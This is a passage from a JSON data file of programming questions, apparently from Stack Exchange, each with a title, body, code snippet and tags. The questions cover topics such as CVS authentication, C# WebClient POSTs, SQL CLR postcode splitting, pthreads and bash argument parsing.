authenticate the user. If user is not in CVSROOT/passwd file, I understand that
CVS is supposed to use Unix system authentication, but it just fails with
error \"No such user\".\nI have SystemAuth=yes in CVSROOT/config.\n", "",
"authentication cvs"], "595502": ["Consuming On-Prem SQL Data from SharePoint 2013
Online (Office 365)", "At a high level, What's the recommended Development model if
we want to consume local (On-Prem) SQL data from Office 365 SharePoint 2013 Cloud
application?\nSay we have a custom SharePoint List Form and we want a dropdownlist
with data from a table in a database down in SQL On Premisis?\nPresuming OAuth is
the way to go. Can the authentication server be ACS on the cloud?\n\nWhat do we
need to develop and configure On Prem and in SQL? Presume we have a SQL view
ready.\nCan the consumer (and only code in SharePoint) be just JQuery?\n\nThanks.\
n", "", "development authentication rest o365"], "3028957": ["Using WebClient to
pass arrays as part of message body for post action", "I am writing a console
application that needs to perform a POST to an MVC controller. I am using the
WebClient class to perform the POST. But I'm having trouble understanding how to
add arrays to the message body.\nFor simple parameters, it seems to work if I do
this:\n\nI was trying to find how to pass arrays in the message body when using
WebClient (for calling one of the other methods). I came across this solution:
POST'ing arrays in WebClient (C#/.net)\nIt appears the solution actually passes
parameters in the query string (and not in the message body). This seems to work in
any case, as the HttpPost method on the MVC controller is still receiving the
correct information. However, another method requires that I pass an image as an
array of bytes. This is too large to be passed in the querystring and so the call
fails.\nSo my question is, using the code I provided above, how can I add arrays in
there as well. So an array of bytes for example, but also an array of strings.\nIf
any one can provide me with a solution it would be much appreciated, or if I'm
incorrect in my thinking please let me know.\nThanks\n", " using (var
client = new WebClient())\n {\n\n var values = new
NameValueCollection \n { \n
{ \"userName\", \"userName\" },\n
{ \"password\", \"passwordGoesHere\"}\n\n };\n byte[]
responseArray = client.UploadValues(String.Format(\"{0}/Mobile/StartSession\",
serverAddress), values);\n Debug.WriteLine(String.Format(\"\\r\\
nResponse received was :\\n{0}\\n\", Encoding.ASCII.GetString(responseArray)));\n\n
}\n", "c# mvc post webclient"], "643799": ["SQL CLR C# User Defined Function -
Split UK postcode to PostIn and PostOut", "I'm trying to create a CLR UDF to split
UK postcodes into two parts, PostIn and Postout (see code below) but this is not
working as expected. I get errors if the post code length is not correct but I
thought with my below logic it should deal with it?!\nThis is my SQL Server version
of the function (which works great!) and below it is the attempted CLR C#
equivalent.\n\n", "ALTER FUNCTION [dbo].[fn_PostCodeSplitter]\n (@PostCode
VARCHAR(15) ,@Part TINYINT)\n\nRETURNS VARCHAR(5)\nAS \n BEGIN\n\n IF
LEN(@PostCode) = 0 RETURN ''\n\n DECLARE @codepart VARCHAR(5) \n
-- Insert space if missing from postcode\n IF CHARINDEX(' ', @postcode) =0
AND LEN(@postcode) > 2\n SELECT @postcode = SUBSTRING(@postcode, 0,
LEN(@postcode) - 2) + ' '\n + SUBSTRING(@postcode, LEN(@postcode) -
2, LEN(@postcode))\n\n\n IF @Part = 1 \n SELECT @codepart =
LTRIM(SUBSTRING(@postcode, 1,\n
CHARINDEX(' ', @postcode))) \n ELSE \n SELECT @codepart =
LTRIM(SUBSTRING(@postcode, CHARINDEX(' ', @postcode), 4)) \n\n RETURN
@codepart\n END\n\n\nusing System;\nusing System.Data;\nusing
System.Data.SqlClient;\nusing System.Data.SqlTypes;\nusing
Microsoft.SqlServer.Server;\n\npublic partial class UserDefinedFunctions\n{\n
[Microsoft.SqlServer.Server.SqlFunction]\n public static SqlString
clrFn_SplitUKPostCode(String thePostCode, int Part)\n {\n\n if
(thePostCode == null) { thePostCode = \"\"; }\n\n if (!
thePostCode.Contains(\" \") && thePostCode.Length > 2) \n { thePostCode
= thePostCode.Substring(0, thePostCode.Length - 2) + \" \" +
thePostCode.Substring(thePostCode.Length - 2, thePostCode.Length); }\n\n\n
if (Part == 1 && thePostCode.Length > 2) { thePostCode = thePostCode.Substring(0,
thePostCode.IndexOf(\" \")); }\n\n if (Part == 2 && thePostCode.Length > 2)
{ thePostCode = thePostCode.Substring(thePostCode.IndexOf(\" \"), 4); }\n\n
return new SqlString(thePostCode.Trim());\n }\n}\n", "sql clr user-defined-
functions"], "2803637": ["Can't pass variables of base types as out parameters?",
"Just noticed this doesn't work:\n\nThen I tried this:\n\nWhy do I get a compiler
error in the last call?\nEdit: Ok, so as I understand from the answers 'out' is
'ref' in disguise, so it can be shared and changed by other functions or threads.
But really, isn't 'out' supposed to be a way to return multiple values from a
function? Because if so, it doesn't seem to be good at it. If sharing creates
problems, then don't share. Just create a hidden variable at the start of the
function, and work with it. I mean:\n\nIs there any reason it can't be done this
way? It seems safe to me now...\n", "var dict = new Dictionary<int, XElement>();\
nXContainer element;\n//...\nif (dict.TryGetValue(idx, out element)) { //...\n",
"c# out"], "2753282": ["Can some one give one exact example of webview
implementaiton in android", "Hi im developing andriod appliation using webview
implementation.\nI followed the link:
http://developer.android.com/resources/tutorials/views/hello-webview.html\nBt even
im not getting errors in my eclipse prroject.Bt when am running th project i
getting error im emulator \" the application has stopped working unexpectedly\"\
nPlease help me asap...\n", "", "android android-widget
webview android-webview"], "4896557": ["python multiprocessing consuming 100% all
cores", "When I am running my python code that uses , it is using all 8 cores and
my system is hanging. I added the following line, but it didn't help. \n\nrecursive
code is as follows:\n\nNow above 2 recursive calls can be put into threads as they
are independent of each other.\nBelow is the code.\n\n", "multiprocessing", "python
multiprocessing"], "5948446": ["Pass command line arguments to Windows \"Open
With\"", "I have a program that opens with a specific shortcut, but the shortcut
seems to send parameters to the application. If I go directly to the target
directory and double-click, it does not work. However, if I use the command line
and pass in a certain argument, the application opens correctly.\nI want to open
certain file types using the application, but the application must have the
parameters, or it will not work. Is it possible to do this sort of thing?\n", "",
"windows open-with command-line-arguments"], "4131866": ["Use getHAR without open
Devtool Window", "I'm using chrome devtools network API and the following code but
always the alert window is launch when I opened the devtool windows (F12). Is there
any way to launch the alert just without open that window, for example, when the
page load?\nbackground\n\n", "chrome.experimental.devtools.network.getHAR(\n
function(result) {\n alert(result); \n});\n", "javascript google-chrome-
extension"], "5142148": ["Issue with size of byte[] being sent to web service?", "I
am trying to send a byte[] from a client to a web service. The array is composed of
a serialized XML file.\nMy test scenario works (with a very small byte[]). Here is
the code:\n\nAnd the service-side code looks like this:\n\nThis works perfectly.
Results are correct.\nHowever, when I try to read in an actual xml file from my
file system (which is reading in correctly when I display it to console),
submission returns an error even when I just try to accept and return the array:\nA
first chance exception of type
'System.ServiceModel.Dispatcher.NetDispatcherFaultException' occurred in
mscorlib.dll\nThe actual client side code:\n\nThe service side code:\n\nHas anyone
encountered this problem before? I don't see much difference between the two cases,
but I am inexperienced with C#.\nAny suggestions would be much appreciated.\
nThanks!\nbadPanda\n", "FormsService.FormsServiceClient client = new
FormsService.FormsServiceClient();\n XmlDocument doc = new XmlDocument();\n
XmlElement root = doc.CreateElement(\"root\");\n XmlElement element =
doc.CreateElement(\"child\");\n root.AppendChild(element);\n
doc.AppendChild(root);\nMemoryStream ms = new MemoryStream();\n
doc.Save(ms);\n byte[] bytes = ms.ToArray();\nif (client.ServerActive())\n
{\n client.SubmitForm(bytes);\n Console.ReadLine();\
n }\n", "c# xml web-services bytearray"], "2765983": ["Board game AI design:
choosing STL data container", "I'm coding an AI engine for a simple board game. My
simple implementation for now is to iterate over all optional board states, weight
each one according to the game rules and my simple algorithm, and selecting the
best move according to that score.\nAs the scoring algorithm is totally stateless,
I want to save computation time by creating a hash table of some (all?) board
configurations and get the score from there instead of calculating it on the fly.\
nMy questions are:\n1. Is my approach logical? (and if not, can you give me some
tips to better it? :))\n2. What is the most suitable thread-safe STL container for
my needs? I'm thinking to use the char array (board configuration) as key and the
score as value.\n3. Can you give some tips for making my AI a killer one? :)\nedit:
more info:\nThe board is 10x10 and there are two players, each with 10 pawns. The
rules are much like checkers.\n", "", "c++ data-structures stl artificial-
intelligence"], "5989276": ["Giant switch statement for constructors", "I have a
container which holds a bunch of pointers to a base class, and a function which
takes some input and returns a class which is a subclass of the base class. Which
subclass it returns depends on the input.\nRight now, I have a giant switch
statement like this:\n\nI was wondering if there's any better way to design this. I
don't know many \"design patterns\" (I think that's what they're called) so I don't
know if there's a (obvious) better way to design this.\n", "class Base { ... }\n\
nclass A : public Base { ... }\nclass B : public Base { ... }\n...\nclass Z :
public Base { ... }\n\nBase* depends(int input) {\n switch (input) {\n case
1:\n return new A(...);\n case 2:\n return new B(...);\n ...\n
case 26:\n return new Z(...);\n default:\n ...\n }\n}\n", "c++
inheritance switch class-hierarchy construction"], "3140846": ["Selenium Test
Runner and variables problem", "In my selenium test suite (html), I define a first
test case to initialize variable called in the next test case.\nSample : \nIn first
script : \n\nIn my second script : \n\nBut when I start test runner (from maven),
it returns an error telling that ${myvar} is not found\nThe value contained in the
stored var is not used.\nAny suggestion ?\nThans a lot\n",
"store|//div[@id=\"myfield\"]|myvar\n", "testing selenium automated-tests
integration-testing"], "595503": ["Generating Report using Crystal Report(version
13) view in Model Popup Print Button not working?", "I was developed one small
application using Asp.NET with C# (Web Application). My Environment is Crystal
Report(version 13) with visual Studio 2010 .while Generating Reports Records are
Displayed. but print button was not working? What are the possiblities are there
for this problem. Please any one could Explain this...\n", "", "visual-studio-2010
printing crystal-reports"], "2739755": ["ASP.NET MVC 2 System.Web.Mvc.dll
conflict", "I have installed the ASP.NET MVC 2 RC and opened the default \"example
project\", but get the following error:\n\nParser Error Message: The type\n
'System.Web.Mvc.ViewMasterPage' is\n ambiguous: it could come from assembly\n
'C:\\WINDOWS\\assembly\\GAC_MSIL\\System.Web.Mvc\\2.0.0.0__31bf3856ad364e35\\
System.Web.Mvc.dll' or from assembly 'C:\\Documents and\n Settings\\sfent\\My
Documents\\Visual\n Studio\n 2008\\Projects\\MvcApplication1\\MvcApplication1\\
bin\\System.Web.Mvc.DLL'.\n Please specify the assembly explicitly\n in the type
name.\n\nThis appears to be a conflict between the GAC dll and the dll created and
placed in the bin directory (which I thought was supposed to be used in preference
to the GAC version)\nI have Googled this issue and have found similar problems, but
relating to incorrect namespacing. This is the un-altered example application that
comes bundled with the MVC framework.\nI have also tried removing the framework
entirely and re-installing the RC, but to no avail.\nAll suggestions appreciated.\
n", "", "asp.net asp.net-mvc dll conflict"], "2270697": ["Python XMl Parser with
BeautifulSoup. How do I remove tags?", "For a project I decided to make an app that
helps people find friends on Twitter. \nI have been able to grab usernames from xml
pages. So for example with my current code I can get from an XML page, but I want
to remove the and tags using Beautiful Soup.\nHere is my current code:\n\n",
"<uri>http://twitter.com/username</uri>", "python beautifulsoup"], "2803636":
["Hyper-V - Not your standard V2V", "The main question is:\nCan I perform a Virtual
to Virtual Conversion from one Hyper-V Server to another Hyper-V Server?\nWhy I
need to convert instead of a myriad of other options:\nWe've got a RHEL 5 server
that somewhere along the way someone took a snapshot of.\nThe snapshot has gone
unnoticed for...oh about 9 months. The snapshot is about 800gigs. \nOther than the
massive snapshot everything is just running beautifully.\nIf a
hardware/software/network layout would help in the answering just let me know.\n",
"", "virtualization hyper-v snapshot"], "694": ["vifm: creating symbolic links",
"How does one create a symbolic link in vifm? The documentation and help file
mention no word of it.\n", "", "file-management symbolic-link"], "3476213": ["if
user click any link from his/her email content then database is updated mean any
entry is affcted?", "When a user subscribes to my newsletter via their email
address, using php, how would I send them an 'Activation Link' via email to confirm
it is their email address and not a fake one.\nso at the moment I have\nPHP:\n\nI
guess i would change the $body to this:\n\nHow would I make it so that if a user
clicked that link it would add their details to the Mysql database recognising they
are a legitimate subscriber?\nAny help or suggestions appreciated. Thanks\n", "<?
php\n $to = \"[email protected]\";\n $subject = \"Hi!\";\n $body = \"Hi,\\n\\
nHow are you?\";\n if (mail($to, $subject, $body)) {\n echo \"<p>Message
successfully sent!</p>\";\n } else {\n echo \"<p>Message delivery
failed...</p>\";\n }\n ?>\n", "php email sendmail"], "1503723": ["Thread
Synchronization not getting expected output", "i am not getting any output but i am
expecting output as THREAD1 THREAD2 below is the code..\n\nI changed above code
to \n\nNow i am getting THREAD2 THREAD1 but i need THREAD1 THREAD2\nNow i changed
my code to >\n\nNow my result is Proper as THREAD1 THREAD2\n", "#include<iostream>\
n#include<pthread.h>\n\nusing namespace std;\n\nvoid* fun(void *arg)\n{\n char
*msg;\n msg = (char*)arg;\n cout<<msg<<endl;\n}\n\nint main()\n{\n\n
pthread_t t1,t2;\n\n t1 = pthread_create(&t1,NULL,fun,(void*)\"THREAD1\");\n t2
= pthread_create(&t2,NULL,fun,(void*)\"THREAD2\");\n\n pthread_join(t1,NULL);\n
pthread_join(t2,NULL);\n // sleep (2);\n return 0;\n}\n",
"c++ multithreading pthreads"], "3616538": ["temporarily short/turn off 845
motherboard", "HI,\ni was wondering if there is a temporary way, to turn off the my
GA-81845GV motherboard, so that pressing the power button makes it appear that the
MB is faulty. is there a jumper setting to do so?\nthanks!\n", "", "motherboard
jumper"], "4098666": ["Inserting into a skiplist", "I am developing my own skiplist
template class. Below are its specifications: class holds copy of individual skip
list. The Head and Tail Iterators are always empty and tail iterator has its value
of tail set to .\n\nMy problem is in the below insert function:\n\nWhat is wrong
with it? I couldnt figure out after debugging a long time. The following code gives
a memory dump error!\n\n", "Iterator", "c++ templates memory-leaks g++ skip-
lists"], "4106175": ["using FFMPEG to convert to MP4 with maximum browsers
compatibilty", "I'm converting from to using , and my problem is that the videos
are so big! the 15 minutes video's size ranges between 150MB and 1GB!\nI'm using
the following command to convert and split videos :\n\nAnd I've tried converting
to before and the video size was much smaller than the video.\nSo my questions
are:\n\nWould the videos have any\ncompatibility issues browsers?\nWould it work
on iPhone, iPad? (I\nknow videos doesn't work on\niPhones or iPads)\nWhat is the
best command to\nconvert to without losing the\nquality of the video?\n\n",
"WMV", "php ffmpeg video-streaming video-conversion ffmpeg-php"], "2803635": ["\\
DeclareCaptionType undefined", "When trying to do what is described here, I tried
to compile the code given there:\n\nBut I get the error message . I'm running on
Fedora. What might be the source of this problem?\n", "\\documentclass{article}\n\\
usepackage{caption}\n\n\\DeclareCaptionType{mytype}[Typename][List of mytype]\n\\
newenvironment{myenv}{}{}\n\n\\begin{document}\n\\listofmytypes\n\n\\section{abc}\
n\n\\begin{myenv}\n\\captionof{mytype}{blub} something in my type\n\\end{myenv}\n\
n\\end{document}\n", "packages captions distributions"], "3647664": ["How do I
release an UIImageView allocated like this?", "I've allocated a UIImageView inside
the setBackground method of my tableview cell like this:\n\nWhen i run Analyse in
XCode 4 it highlights this line as a possible memory leak. How do i release this
UIImageView as Ive not got a pointer to reference from a release call?\n", " [cell
setBackgroundView:[[UIImageView alloc]initWithImage:rowBackground]];\n", "iphone
memory-leaks uiimageview release"], "5116989": ["Drop down list in user profile
page", "I am having problems finding an answer to this. I need to have a custom
user meta field. \nI can create them which is fine but I need to create a drop down
one. \nFor example I want the user meta to be Unit type and the drop down values to
be Residential and Commercial\nAny help on this would be great. Thanks. \n", "",
"users profiles user-meta"], "4990097": ["Dynamic binding to XML", "\nI'm working
on a WPF app which loads its data from an XML file. One of the nodes in this XML
file is a path to another XML file. The path to this file is different for each
item. Ideally I'd like to dynamically bind to this second file and populate a grid
with its data so that when the user selects another item from the first XML, the
details from the second XML are displayed too.\nIs this possible?\n", "", "c# wpf
xml xaml dynamic"], "3027611": ["juju on local server + wrapping my own application
server custom built wtih charm", "I'm interested in juju before starting with it i
would like to ask a few questions.\n\nCan juju be only be used with ubuntu? is it
possible to use it with CentOS?\nI have my own application server which i wrote,
can i wrap it in a charm and deploy it on my local juju cloud? (I do not publish
ofcourse my charm to the openstack because its a propriety server code, if yes can
someone direct me maybe to a link of how i can achieve such a thing?) my server is
built with java.\nIs ubuntu server + full capabilities of juju always be free of
charge?\nWhich technologies would you recommend me to write my app server installer
(i'm going to go for continuous deployment on my own cloud rolled, perhaps with
juju).\n\nI asked this in ubuntu forums, but noone answered me...\nthanks\n", "",
"ubuntu automated-install continuous-integration"], "2166418": ["Word 2010 co-
authoring. What is required to get it working?", "I like the Word 2010 co-authoring
feature I have seen but a few things are a bit vague to me, mainly around what is
required to get it working.\n\nIs SharePoint 2010 required? If so,\nis SharePoint
Foundation sufficient? If not, is there some other server\ncomponent required?\nI
know that co-authoring works in\nthe browser, but can you also use\nthe rich client
(and mix with web\nclients)?\nWill there be hosted offerings (or do you know of any
that already exist?) just to serve Word 2010 Co-authoring?\n\n", "", "word co-
authoring office-web-apps"], "3499742": ["zsh autocomplete directory", "I'm new to
zsh and one thing that I do quite often is execute shell scripts that are in a
directory of mine called Scripts. I'm not always inside of the Scripts directory,
however... I may be in $HOME and therefore would like to just type and have it
autocomplete to and then be able to autocomplete which script I want to run from
there, of course... \nHowever, zsh doesn't seem to do this by default. It will only
autocomplete directory names for me if I have typed or . If I'm trying to
autocomplete a directory first, it just simply won't do it. \nIs there a way to
change this behavior?\nEdit: I figured out that I could do and it would
autocomplete for me. I guess I'm just used to not having to type out before
something to get it to autocomplete, so I'd still like to know if this is possible
in zsh, but this is an acceptable workaround for now.\n", "Sc<Tab>", "zsh
autocomplete"], "5968899": ["How do I parse command line arguments in bash?", "Say
I have a script that gets called with this line:\n\nor this one:\n\nWhat's the
accepted way of parsing this such that in each case (or some combination of the
two) $v $f $d will all be set to true and $outFile will be equal to
\"/fizz/someOtherFile\"?\n", "./myscript -vfd ./foo/bar/someFile -o
/fizz/someOtherFile\n", "bash command-line scripting arguments"], "1868707":
["Finding expectation of waiting time", "Can someone explain this solution to me?
The question was find E[W1 | X(t) = 2] where W1 is the time until the first event
occurs and X(t) is a Poisson process. V1 represents the smallest of the uniform
variables that are a part of this theorem. I understand the first line but I am
unsure why they proceed to P(V1>s) and how they get (t-s/t)^2. I am also confused
with how they calculate the expectation. Thanks for the help!\n\n", "",
"stochastic-processes"], "2768915": ["Refresh Update Panel c#", "I have an update
panel that seems to not being refreshed when I click the delete button. I know the
row is getting deleted bc if i leave the page and come back then the row is no
longer there. Any idea why the update panel is not getting refreshed though?\n\n",
"<asp:UpdatePanel ID=\"UpdatePanel1\" runat=\"server\" UpdateMode=\"Conditional\">\
n\n protected void btnDeleteMessages_Click(object sender, EventArgs e)\n\n{\n\n
DeleteRow();\n\n UpdatePanel1.Update();\n\n}\n", "c# updatepanel asp.net-
webforms"], "5324623": ["Database Historical Data", "How would I go about keeping
track of a history of a database? I would use it almost completely for statistical
purposes. For example it is easy enough to query the database to find out how many
clients we currently have, but what if I want to compare how many clients we had
last month compared to how many we have now?\nI would assume I need another table
to keep track of this info, and was wondering if there is some standard way to do
it?\nWhat I am thinking of is something like this:\n\nWhere valid_from would be
when the data was inserted and valid_to would be the date the data could no longer
be found in the database.\nSo for example I have table called teachers with a
column status. Within the status column a teacher could
be \"applying\" \"hired\" \"active\" etc. The change from one status to another
would be saved in the above table with the column valid_to saving the date of when
the teacher stopped having the status of \"applying\" and a new row would be
created for \"hired\". It seems like it would be fairly easy to query that table
for statistical data. \nBut I really have no idea if this is a good way to go
about it or not. This is just what I came up with and may be a horrible way to do
it. Any help/suggestions would be appreciated! \nIf it matters at all, I'm using
MySQL and CakePHP. \n", "id table_name column row_id value valid_from valid_to\
n", "database database-design relational-database"], "4480086": ["Subtract one day
on all time stamps touched today in whole system- windows 7", "In my windows-7 PC
due to cmos battery failure I have to set date time.But i did wrongly i.e set 14th
August instead of 13th August. And I found very late after a lot of work done.\nNow
I want to change the all timestamps(created date, modified date, ..) of all files
in the whole system that touched today(created date of all files which created
today,modified date of\nall files modified today) to correct date\nIt would be
better atleast to change timestamp of my working files(folders, archived
files, .Net related files such as c# source code files, aspx files, sln
files ,etc..,)\nAny script or command utility available in PowerShell or any thing
on Windows 7 to subtract one day from timestamps of files touched today\nSecondary
question:\n Is it possible to change all history, bookmarks items'
timestamp of a browser like Google chrome simillarly?\n", "",
"windows-7 command-line powershell timestamp"], "1122440": ["There have some
strange thing with Admob on my app", "Now I develop a app tool by xcode xib. I
fount admob can't run well in app. If I put admob view upon other views. All other
views can't get touch event. Like scrollview, tabbar...\nBut if I put admob view
bottom of others. Admob can't touch again.\nCode is here :\n\nMy view struct:\n\n",
"controller = [[UIViewController alloc]init];\ncontroller.view.frame=CGRectMake(0,
0, rect.size.width, rect.size.height);\nbanner = [[GADBannerView
alloc]initWithFrame:CGRectMake(\n
rect.origin.x,\n
rect.origin.y,\n
GAD_SIZE_320x50.width,\n
GAD_SIZE_320x50.height\
n )];\nbanner.adUnitID =
GAD_BANNER_UNIT_ID;\nbanner.rootViewController = controller;\nGADRequest *request;\
nif (self._isDebuged) {\n request=[[GADRequest alloc]init];\n
request.testing=TRUE;\n}else {\n request=[GADRequest request];\n}\n[banner
loadRequest:request];\n[controller.view addSubview:banner];\n", "xcode admob"],
"5584444": ["Displaying large forms on the iPhone", "I'm currently in the process
of toying with a few things at the same time: Heroku, Sinatra, HAML/SASS, and of
course the glue: Ruby. I'm loving that, and it all goes well with DataMapper.
However, my current \"project to learn by\" seems to be pretty data-intensive.
Though it is also something I want to have.\nI've been a bit of an amateur
thoroughbred handicapper for a while now and I'm compiling a bit of statistics.
Stats which I would love to be able to display on my iphone.\niPhoneUI and iPhone-
Universal are great and offer wonderful CSS layout options.\nBut I'm looking for:\
n1) Advice on displaying large forms on a small screen such as the iphone. Do I
break it out into sections, \"tabs\", etc? I'm a programmer, just not a very good
visual designer. Does anyone have any sample sites I can look at? \nThanks in
advance; I hope a few responses can get me through this bit of a \"designers
block\" that I apparently seem to be stuck in.\n", "", "iphone ruby sinatra"],
"3521886": ["Rails Book Suggestions", "I'm looking to learn Ruby on Rails. I
already have a small background in Ruby and don't really need a book that covers
both, as I ordered the Pickaxe Book a couple days ago. I recently read some of
Beginning Ruby on Rails-Steven Holzner, but abandoned that after seeing multiple
statements on SO about how terrible the code in it was, and also the fact that it
used Rails 1...\nI was just wondering, what are some good books for an ABSOLUTE
BEGINNER in Rails? \nUpdate: \n", "Agile Web Developement With Rails? Or the Hartl
book?", "ruby-on-rails ruby books"], "5003868": ["How to choose a range for a loop
based upon the answers of a previous loop?", "I'm sorry the title is so confusingly
worded, but it's hard to condense this problem down to a few words.\nI'm trying to
find the minimum value of a specific equation. At first I'm looping through the
equation, which for our purposes here can be something like . I want to design a
loop where the \"steps\" through the loop get smaller and smaller.\nFor example,
the first time it loops through, it uses a step of 1. I will get about 30 values.
What I need help on is how do I Use the three smallest values I receive from this
first loop?\nHere's an example of the values I might get from the first loop: (I
should note this isn't supposed to be actual code at all. It's just a brief
description of what's happening)\n\nI want something that can detect the lowest
three values and create a loop. From theses results, the values of x that get the
smallest three results for y are .\nSo my \"guess\" at this point would be x = 5.
To get a better \"guess\" I'd like a loop that now does:\n\nI could keep this
pattern going until I get an absurdly accurate guess for the minimum value of x.\
nDoes anybody know of a way I can do this? I know the values I'm going to get are
going to be able to be modeled by a parabola opening up, so this format will
definitely work. I was thinking that the values could be put into a column. It
wouldn't be hard to make something that returns the smallest value for y in that
column, and the corresponding x-value.\nIf I'm being too vague, just let me know,
and I can answer any questions you might have.\n", "y = .245x^3-.67x^2+5x+12",
"excel vba excel-vba"], "4447563": ["Continuous CSS concatenation in background
with Yeoman", "I'm using Yeoman and I can't find a way to trigger the CSS task upon
file change.\nI have a project structure like\n\n\\ app\n -----\\ module1\n
------- style.css\n -----\\ module2\n ------- style.css\n -----\\ module3\
n ------- style.css\n -----\\ styles\n ------- main.css\n\nand I'd
like Yeoman to \n\nwatch all the CSS files within the modules;\ntrigger the CSS
concat/minification task;\noverwrite .\n\nHere's my :\n\n", "app/styles/main.css",
"css build gruntjs yeoman"], "5995716": ["Bare bones web form example using python3
& mod_wsgi (no Django)?", "I have an apache + mod_wsgi + python3.1 setup. (Plain,
no Django or other framework.) I can write apps that output HTML, but I can't seem
to get a basic web form + POST parser to work so I can also handle input. I've
found some examples online that are several years old and use python2, and several
pages describing the \"issues you should be aware of\" with python3 that make the
python2 examples obsolete (long list of encoding issues new to python3, etc.)\
nWould anyone happen to have python3 code (\"def application(environ,
start_response):...\") that puts up a small UTF-8 web form with a couple of short
menus that, when you submit (POST) it, puts those UTF-8 menu choices into python3
strings? A python3 script that handles the issues properly regarding telling it the
right number of bytes to read from the request, doesn't munge the UTF-8 for non-
ASCII chars, doesn't use deprecated functions, etc., that can be used as a bare-
bones template by people trying to use mod_wsgi + python3 for input as well as
output?\n", "", "python-3.x mod-wsgi wsgi"], "1794796": ["Need help - Access 2003
VBA code to find unique row sets", "Hello I have a table that has the following
fields\n\nI need to code to find the unique values for MinOfWeight_Up_To for any
table, without showing the table names in my resuslts. I am trying to condense
tables sizes in the mainframe by finding tables that can be condensed at the same
weight breaks.\nSo for example \n\nI would like to see the following as a result
and not make another \"Profile\" with the same weight breaks\n\n", "Ptr_RateTable\
nMinOfWeight_Up_To\nAdder\n", "ms-access vba access-vba"], "1496231": ["chat
server: what's the best(optimized) way to save a conversation log", "I'm building a
simple chat server in java , where users can have private conversations with each
other. I want to save those conversation at a server level(not on client side) so I
can list them to the users as a conversation log service.\nI'm also using MySQL as
a database in my software.\nWhat I'm looking is an optimized way to save those
conversations and also a fast way to list them later. \nSo far I've thought on 2
implementations.\n\nusing the MySQL database and \na) save the conversation in a
row as a text, but the problem is that some conversations are very huge(lots of
chars) and I might have problems saving the entire conversation\nb) save every line
of the conversation in a row, but this way speed problems can appear when I want to
list the entire conversation\nsaving every conversation in a separated text file,
but I'm afraid read/write problems can appear, especially when the users(clients)
are writing(sending text) very fast.\n\nThanks\n", "", "java mysql optimization
chat livechat"], "3296564": ["How to get outlook email attachment onto a file
server?", "Background:\nEvery work day I get an e-mail message from a known sender.
The sender puts an attachment in the e-mail message. I have to process that
attachment with a python script.\nQuestion: \nWhat is the best (automatic) way for
me to get the attachment out of Outlook and onto my shell account (or local
filesystem) so I can process it with the script, without having to manually open
the file every day and save the attachment?\n", "", "email outlook script
automation attachments"], "1743891": ["Assigning \"HTML Select Control\" Values in
PageLoad() Event", "I want to Use only the HTML Controls on my page. For that i
want to use some text boxes and a HTML select(List box) and a Submit button for
Post Event.\nThe Code is as follows:\n\nThis Java Script i am using for the HTML
Select List.\nThe Rest of the Code are As follows:\n\nI have a XML document having
the following Format:\n\nNow what i ahve to do is:\nWhen Page load it checks
whether the user is registered or not, if he/She is a registered user, the first
four field [User ID, Name, Contact, Email] can be be loaded itself.\nfor this my
code behind file assigns value like this: \n\nIf he/she is not a registered user
then User will get this field blank and i will get fetch all the filled values
through Page.Request().\nSecond Issue is that i want to load the Option of select
box from XML file which is above.\nI am a newbie to this code and flow. so please
anybody can help me doing this.\nThanks in Advance.\n", "<script
type=\"text/javascript\">\n\n function dropdown(mySel) {\n var myWin,
myVal;\n myVal = mySel.options[mySel.selectedIndex].value;\n if
(myVal) {\n if (mySel.form.target) myWin = parent[mySel.form.target];\n
else myWin = window;\n if (!myWin) return true;\n
myWin.location = myVal;\n }\n return false;\n
}\n\n</script>\n", "c# javascript html post postback"], "2803632": ["Why an ASP.NET
MVC Configuration Error With Sub Folder as Web Application that cannot load Site
Master Type", "Inside of my MVC application, I have a sub-folder named \"Admin\"
that was \"Converted to Web Application\". In IIS, the Admin folder has also been
setup as a web-application. \nAfter publishing my full application, I get a
Configuration Error when trying to open Default.aspx within the Admin folder.\
nEDIT\nI made the suggested change and added:\n\nI am now getting a new error:\n\
nParser Error:\n Description: An error occurred during the parsing of a resource
required to service this request. Please review the following specific parse error
details and modify your source file appropriately. \nParser Error Message: Could
not load type 'UI.Administration.Site'.\nSource Error:\nLine 1: <%@ Master
Language=\"C#\" CodeBehind=\"Site.master.cs\" Inherits=\"UI.Administration.Site\"
%>\n\n", "<location path=\".\" inheritInChildApplications=\"false\">\n
<system.web>...</system.web>\n</location>\n", "asp.net asp.net-mvc web-config
server-error"], "5177237": ["A system-wide way to set or get $JAVA_HOME in
Ubuntu?", "I wonder whether Ubuntu itself provides a system-wide way to find the
current JAVA_HOME or whether there is right place for setting JAVA_HOME. \nMac OS X
does well in this, for command returns the current JAVA_HOME. But to Ubuntu, the
materials I found always told me to set the $JAVA_PATH pointing to a static path
like ~/.bash_profile```. \nI think, however, this approach has several drawbacks:\
n\nOnce Java updates, the mini version number will change, which makes the static
path no longer available.\nAfter changing the JRE used in my system with , I have
to modify $JAVA_HOME in .bash_profile. That extra work is annoying.\nSome
$JAVA_HOME-required programs, is not aware of at all. I have to set $JAVA_HOME in
their start-up script, therefore a standard-and-easy way to get $JAVA_HOME seems
critical to me.\n\nWell, any advice is welcomed. Thanks.\n",
"/usr/libexec/java_home", "ubuntu path java"], "4873095": ["PHP - Using XML for a
config file(s) are elements better than attributes or opposite?", "I'm using XML
for a config file in PHP (Using SimpleXML), in creating the config file what is
more of a standard.\nHaving all values in elements or using the attributes?\
nElements Example:\n\nAttribute Example:\n\nAre there any benefits of either way?\
nAlso other languages might need to read the same config file, such as Java and
Perl.\n", "<database>\n <user>test-user</user>\n
<pass>test-pass</pass>\n</database>\n", "php xml standards config"], "3973430":
["Looking for a Bug Tracker which is LGPL or GPL that will run in Tomcat", "We need
a bug tracker on a small team. We don't want the care and feeding of the bug
tracker to become a project in and of itself. We already have the infrastructure
to run webapps in Tomcat 5.5.x and even Oracle 10gR2 backend if necessary. We
prefer LGPL or GPL products.\n", "", "tomcat bug-tracking gpl"], "1603571":
["Upgrading Windows 7 to Windows 8 when dual booting with Windows 8", "I am dual
booting between Windows 8 Enterprise (90 day evaluation copy) and Windows 7 Home
Edition.\nIf I upgrade Windows 7 Home Edition to Windows 8, will there be any
issues with having both versions installed?\n", "", "windows-8 dual-boot upgade"],
"4369405": ["Tracking actions in a browser component", "Im a c# developer and I
believe that what I want to achieve is going to move out of the realms of some drop
in .NET component so I am looking for advise on what I use externally which .NET
can inter op with. \nMy requirements are to have an embedded web browser control in
a WPF/Winforms applciation BUT I will also need to keep track of the following:\n\
